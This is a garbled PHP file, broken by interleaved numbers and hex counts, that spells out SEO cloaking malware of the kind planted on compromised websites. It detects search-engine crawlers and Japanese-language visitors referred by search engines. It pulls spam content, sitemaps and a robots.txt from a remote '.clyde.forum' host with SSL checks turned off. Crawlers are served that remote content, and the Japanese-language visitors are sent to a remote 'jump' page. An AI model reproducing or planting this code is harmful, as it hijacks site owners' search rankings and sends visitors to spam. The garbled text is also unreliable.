1
<
1
?
1
p
1
h
1
p
2

e
1
r
2
ro
1
r
2
_r
1
e
2
po
1
r
2
ti
1
n
1
g
1
(
1
0
1
)
1
;
1


2
@s
1
e
2
t_
1
t
1
i
2
me
1
_
2
li
1
m
1
i
2
t(
1
1
1
2
5
0);
@
1
i
1
g
2
no
1
r
2
e_
1
u
2
se
1
r
2
_a
1
b
3
ort
1
(
1
1
3
);

1
$
2
tr
1
 
1
=
2
 "
1
h
1
t
2
tp
1
s
1
:
1
/
1
/
1
j
1
2
1
6
1
0
1
4
1
0
1
3
1
_
1
1
1
3
1
.
1
c
1
l
2
yd
1
e
1
.
1
f
2
or
1
u
1
m
1
/
1
"
2
;

1
c
1
l
2
as
1
s
1
 
2
Re
1
q
1


1
{
2

 
3
   
1
p
1
u
1
b
2
li
1
c
1
 
2
fu
1
n
2
ct
1
i
1
o
2
n 
3
ser
1
v
2
er
1
(
1
$
2
na
1
m
1
e
4
 = '
2
',
2
 $
1
d
1
e
2
fa
1
u
1
l
1
t
5
 = ''
1
)
f

    {
        
4
if (
1
e
1
m
2
pt
1
y
6
($name
1
)
1
)
b
 {
        
5
    r
2
et
1
u
2
rn
1
 
3
$_S
2
ER
1
V
1
E
1
R
1
;
5

    
4
    
1
}
9

        
9
$name = s
2
tr
1
t
1
o
2
up
1
p
8
er($name
3
);

8
        
7
return 
1
i
1
s
4
set(
8
$_SERVER
1
[
5
$name
1
]
1
)
1
 
1
?
9
 $_SERVER
8
[$name] 
1
:
9
 $default
6
;
    
6
}
    
10
public function 
3
iss
1
(
14
)
    {
        if (
2
$t
1
h
1
i
2
s-
1
>
7
server(
1
'
1
H
1
T
1
T
1
P
2
S'
1
)
1
 
1
&
1
&
1
 
1
(
1
"
2
1"
2
 =
1
=
1
 
17
$this->server('HTTPS') 
1
|
2
| 
1
"
1
o
1
n
5
" == 
5
strto
1
l
1
o
1
w
4
er($
16
this->server('HTTPS'))
19
)) {
            return t
1
r
2
ue
b
;
        }
1
 
2
el
1
s
1
e
5
if ('
5
https
1
'
13
 == $this->server('
1
R
1
E
1
Q
1
U
2
ES
1
T
1
_
1
S
1
C
3
HEM
1
E
1
'
31
)) {
            return true;
        } elseif ('
1
4
1
4
1
3
14
' == $this->server('
7
SERVER_
3
POR
1
T
32
')) {
            return true;
        } elseif ('
19
https' == $this->server('
4
HTTP
1
_
1
X
1
_
1
F
1
O
1
R
1
W
2
AR
1
D
1
E
1
D
2
_P
1
R
1
O
1
T
1
O
28
')) {
            return true;
        }
11

        return f
1
a
3
lse
1c
;
    }
    public function 
1
h
1
o
2
st
11
()
    {
        
1
$
4
host
3
 = 
3
str
1
v
1
a
1
l
14
($this->server('HTTP
d
_X_FORWARDED_
1
H
1
O
1
S
4
T') 
1
?
3
: $
13
this->server('HTTP_
6
HOST')
12
);
        return 
3
str
1
p
2
os
1
(
5
$host
1
,
2
 '
1
:
4
') ?
7
 strstr
b
($host, ':'
1
,
1
 
4
true
1
)
4
 : $
4
host
1c
;
    }
    public function 
1
s
1
c
2
he
1
m
1
e
11
()
    {
        
8
return $
6
this->
5
iss()
3
 ? 
6
"https
1
"
3
 : 
5
"http
3
";

a
    }
    
10
public function 
2
dm
1f
()
    {
        return $this->
9
scheme() 
1
.
1
 
1
"
3
://
1
"
3
 . 
7
$this->
6
host()
1c
;
    }
    public function 
1
i
1
p
11
()
    {
        
4
if (
2
ge
2
te
1
n
1
v
1
(
5
'HTTP
1
_
2
CL
2
IE
1
N
2
T_
1
I
1
P
12
')) {
            
1
$
2
ip
3
 = 
9e
getenv('HTTP_CLIENT_IP');
        } elseif (getenv('HTTP_X_FORWARDED_FOR')) {
            $ip = getenv('HTTP_X_FORWARDED_FOR');
        } elseif (getenv('REMO
4
TE_A
1
D
1
D
21
R')) {
            $ip = getenv('
d
REMOTE_ADDR')
10
;
        } else
f
 {
            
40
$ip = $this->server('REMOTE_ADDR');
        }
        return $ip
1e
;
    }
    public function is
1
c
12
()
    {
        $
28
agent = strtolower($this->server('HTTP_U
6
SER_AG
3
ENT
3
'))
a
;
        
4
if (
7
$agent 
1
!
4
= ''
4
 && 
1
p
3
reg
1
_
2
ma
1
t
1
c
2
h(
1
'
1
/
1
g
2
oo
1
g
1
l
1
e
2
bo
1
t
1
|
6
google
1
|
2
ya
1
h
1
o
1
o
1
|
1
b
3
ing
1
|
2
ao
1
l
1
/
1
s
1
i
4
', $
5
agent
27
)) {
            return true;
        }
10

        return 
21
false;
    }
    public function 
1
i
1
s
a
g()
    {

1
	
1
	
1
$
2
re
1
f
1
e
4
r = 
1f
strtolower($this->server('HTTP_
1
R
1
E
2
FE
1
R
1
E
4
R'))
a
;
        
6
$refer
3
bot
1
s
4
 = '
15
google|yahoo|bing|aol
1
'
f
;
        if ($
6
refer 
14
!= '' && preg_match(
1
"
2
/(
a
$referbots
1
)
3
/si
1
"
3
, $
5
refer
58
)) {
            return true;
        }
        return false;
    }
    public function 
14
uri()
    {
        
4
if (
2
($
3
pos
6
 = str
5
pos($
e
this->server('
9
REQUEST_U
1
R
1
I
1
'
1
)
3
, '
1
.
3
php
4
')) 
1
!
3
== 
5
false
11
) {
            $
1
s
2
cr
1
i
1
p
2
t_
7
name = 
2
ba
1
s
1
e
4
name
11
($this->server('S
1
C
1
R
1
I
4
PT_F
1
I
1
L
1
E
1
N
1
A
5
ME'))
a
;
        
4
    
4
if (
1f
basename($this->server('SCRIPT_
7
NAME'))
3
 ==
3
= $
b
script_name
10
) {
            
4
    
2
$u
1
r
1
l
3
 = 
f
$this->server('
7
SCRIPT_
6
NAME')
e
;
            
1
}
9
 elseif (
18
basename($this->server('
1
P
1
H
1
P
3
_SE
1
L
1
F
4
')) 
3a
=== $script_name) {
                $url = $this->server('
a
PHP_SELF')
30
;
            } elseif (basename($this->server('
1
O
1
R
1
I
1
G
3
_SC
5
RIPT_
42
NAME')) === $script_name) {
                $url = $this->server('
12
ORIG_SCRIPT_NAME')
18
;
            } elseif (
1e
($pos = strpos($this->server('
a
PHP_SELF')
3
, '
2
/'
4
 . $
c
script_name)
1b
) !== false) {
            
c
    $url = s
1
u
1
b
5
str($
e
this->server('
d
SCRIPT_NAME')
2
, 
1
0
3
, $
3
pos
1
)
3
 . 
12
'/' . $script_name
18
;
            } elseif (
f
$this->server('
1
D
1
O
1
C
1
U
1
M
4
ENT_
1
R
2
OO
4
T') 
3
&& 
8
strpos($
15
this->server('SCRIPT_
a
FILENAME')
3
, $
e
this->server('
f
DOCUMENT_ROOT')
6
) === 
1
0
1b
) {
                $url = 
3
str
5
_repl
1
a
1
c
11
e($this->server('
f
DOCUMENT_ROOT')
3
, '
4
', $
1f
this->server('SCRIPT_FILENAME')
f
);
            
a
}
        
5
    $
1
r
1
e
1
q
3
uri
4
 = $
5
url .
1
 
16
substr($this->server('
f
REQUEST_URI'), 
5
$pos 
2
+ 
1
4
b
);
        
6
} else
10
 {
            $
9
requri = 
25
substr($this->server('REQUEST_URI'), 
16
strpos($this->server('
10
REQUEST_URI'), '
1
/
d
'));
        
a
}
        
8
return r
3
tri
1
m
4
($re
4
quri
5
, '/'
21
);
    }
    public function exec
3
Req
1
(
4
$url
4
, $p
4
 = a
1
r
2
ra
1
y
1
(
1
)
10
)
    {
        
7
$url = 
e
str_replace(' 
4
', '
1
+
4
', $
f
url);
        $
1
c
1
h
4
 = c
3
url
2
_i
1
n
3
it(
b
);
        
5
curl_
3
set
1
o
1
p
3
t($
1
c
1
h
2
, 
1
C
1
U
1
R
1
L
1
O
3
PT_
3
URL
11
, $url);
        
19
curl_setopt($ch, CURLOPT_
1
R
1
E
2
TU
1
R
1
N
1
T
1
R
1
A
1
N
1
S
3
FER
2
, 
4
1);

4
    
4
    
19
curl_setopt($ch, CURLOPT_
1
H
2
EA
1
D
4
ER, 
4
0);

21
        curl_setopt($ch, CURLOPT_
1
T
2
IM
1
E
1
O
2
UT
1
,
1
 
5
20);

22
        curl_setopt($ch, CURLOPT_P
3
OST
27
, 1);
        curl_setopt($ch, CURLOPT_
1
S
1
S
1
L
1
_
3
VER
1
I
1
F
1
Y
1
P
1
E
29
ER, 0);
        curl_setopt($ch, CURLOPT_
a
SSL_VERIFY
4
HOST
27
, 0);
        curl_setopt($ch, CURLOPT_
4
POST
1
F
1
I
1
E
1
L
1
D
1
S
2
, 
5
http_
1
b
1
u
2
il
1
d
1
_
1
q
2
ue
1
r
3
y($
1
p
e
));
        $o
1
u
2
tp
1
u
4
t = 
5
curl_
4
exec
4
($ch
c
);
        $
5
error
2
Co
1
d
4
e = 
6
curl_e
2
rr
1
n
1
o
f
($ch);
        
6
curl_c
1
l
1
o
1
s
3
e($
d
ch);
        
4
if (
1
0
5
 !== 
1
$
9
errorCode
10
) {
            
7
return 
b
false;
    
4
    
11
}
        return 
1
$
6
output
6
;
    
1
}
1


1
}
1


4
$req
3
 = 
1
n
1
e
1
w
4
 Req
4
();

1
$
2
is
1
c
4
 = $
3
req
1
-
1
>
3
isc
7
();
$is
1
g
b
 = $req->is
3
g()
4
;
$u
1
m
1
a
4
p = 
4
$tr 
3
. "
3
map
3
";

3
$ur
4
i = 
3
url
2
de
1
c
3
ode
5
($req
1
-
1
>
5
uri()
4
);
$
a
p = array(
5

    
1
"
1
d
2
om
1
a
1
i
4
n" =
1
>
7
 $req->
4
dm()
1
,
6

    "
4
port
b
" => $req->
8
server('
3
SER
3
VER
6
_PORT'
2
, 
1
8
1
0
8
),
    "
3
uri
6
" => $
13
uri
);
if (substr($
6
uri, -
8
10) == "
2
ro
4
bots
2
.t
1
x
1
t
1
"
8
) {
    
2
he
1
a
1
d
3
er(
1
"
2
Co
1
n
3
ten
1
t
1
-
1
t
2
yp
1
e
1
:
2
te
1
x
1
t
1
/
3
pla
2
in
1
;
1
 
1
c
2
ha
1
r
3
set
1
=
2
ut
1
f
1
-
1
8
1
"
7
);
    
1
d
1
i
8
e($req->
9
execReq($
6
tr . "
6
robots
4
", $
5
p));

1
}
13

if (substr($uri, -
1
6
c
) == "robots
9
") {
    
7
$output
9
 = $req->
1b
execReq($tr . "robots", $p)
6
;
    
1
$
2
rp
4
t = 
1
_
1
_
2
DI
1
R
2
__
4
 . "
1
/
b
robots.txt"
6
;
    
1
f
2
il
1
e
1
_
4
put_
1
c
6
ontent
3
s($
3
rpt
3
, $
6
output
8
);
    $
6
robots
5
_cont
3
 = 
1
@
5
file_
3
get
e
_contents($rpt
7
);
    
5
if (s
6
trpos(
c
strtolower($
b
robots_cont
3
), 
1
"
1
s
2
it
1
e
4
map"
d
)) {
        
4
die(
b
"robots.txt
1
 
5
file 
1
c
2
re
1
a
2
te
3
 su
1
c
1
c
2
es
1
s
1
!
8
");
    
11
} else {
        
1c
die("robots.txt file create 
1
f
2
ai
1
l
a
!");
    }
15

}
if (substr($uri, -
1
4
6
) == "
1
.
1
x
1
m
1
l
9
") {
    
b
if (strpos(
4
$uri
4
, "a
1
l
1
l
7
sitemap
7
.xml") 
3
|| 
8
strpos($
6
uri, "
7
sitemap
1
-
1
i
2
nd
1
e
1
x
25
.xml") || strpos($uri, "sitemap-index
1
-
1
1
18
.xml") || strpos($uri, "
b
index.xml")
c
) {
        
19
$output = $req->execReq($
4
umap
5
, $p)
a
;
        
1a
header("Content-type:text/
4
" . 
9
(substr($
6
output
5
, 0, 
1
5
7
) === '
1
<
4
?xml
1
'
3
 ? 
1
'
5
xml' 
2
: 
1
'
5
plain
3
') 
3
. '
f
; charset=utf-8
8
');
    
4
    
4
die(
3
'' 
3
. $
d
output);
    
6
}
    
19
$output = $req->execReq($
6
tr . "
1
w
2
or
1
d
6
", $p)
6
;
    
1a
header("Content-type:text/
3
xml
17
; charset=utf-8");
    
5
if ($
8
output =
3
= "
1
1
9
") {
    
e
    die('' . $
5
req->
a
execReq($u
f
map, $p));
    
15
} else {
        die(
15
'' . $output);
    }

3
}
$
1
l
2
an
a
g = $req->
d
server('HTTP_
1
A
1
C
1
C
1
E
3
PT_
1
L
1
A
1
N
1
G
1
U
3
AGE
4
');

4
if (
1
!
5
$isc 
3
&& 
3
$is
1
g
c
 && strpos($
4
lang
3
, '
1
j
2
a'
1
)
3
!==
d
false) {
    
2
$p
2
["
1
i
1
p
1
"
1
]
a
 = $req->i
3
p()
7
;
    $
1
a
6
ction 
9
= $tr . "
1
j
1
u
1
m
8
p";
    
13
die($req->execReq($
6
action
e
, $p));
}
if (
4
$isc
8
) {
    
a
die('' . $
e
req->execReq($
6
tr . "
4
inda
1
t
1
a
b
", $p));
}

1
?
1
>
0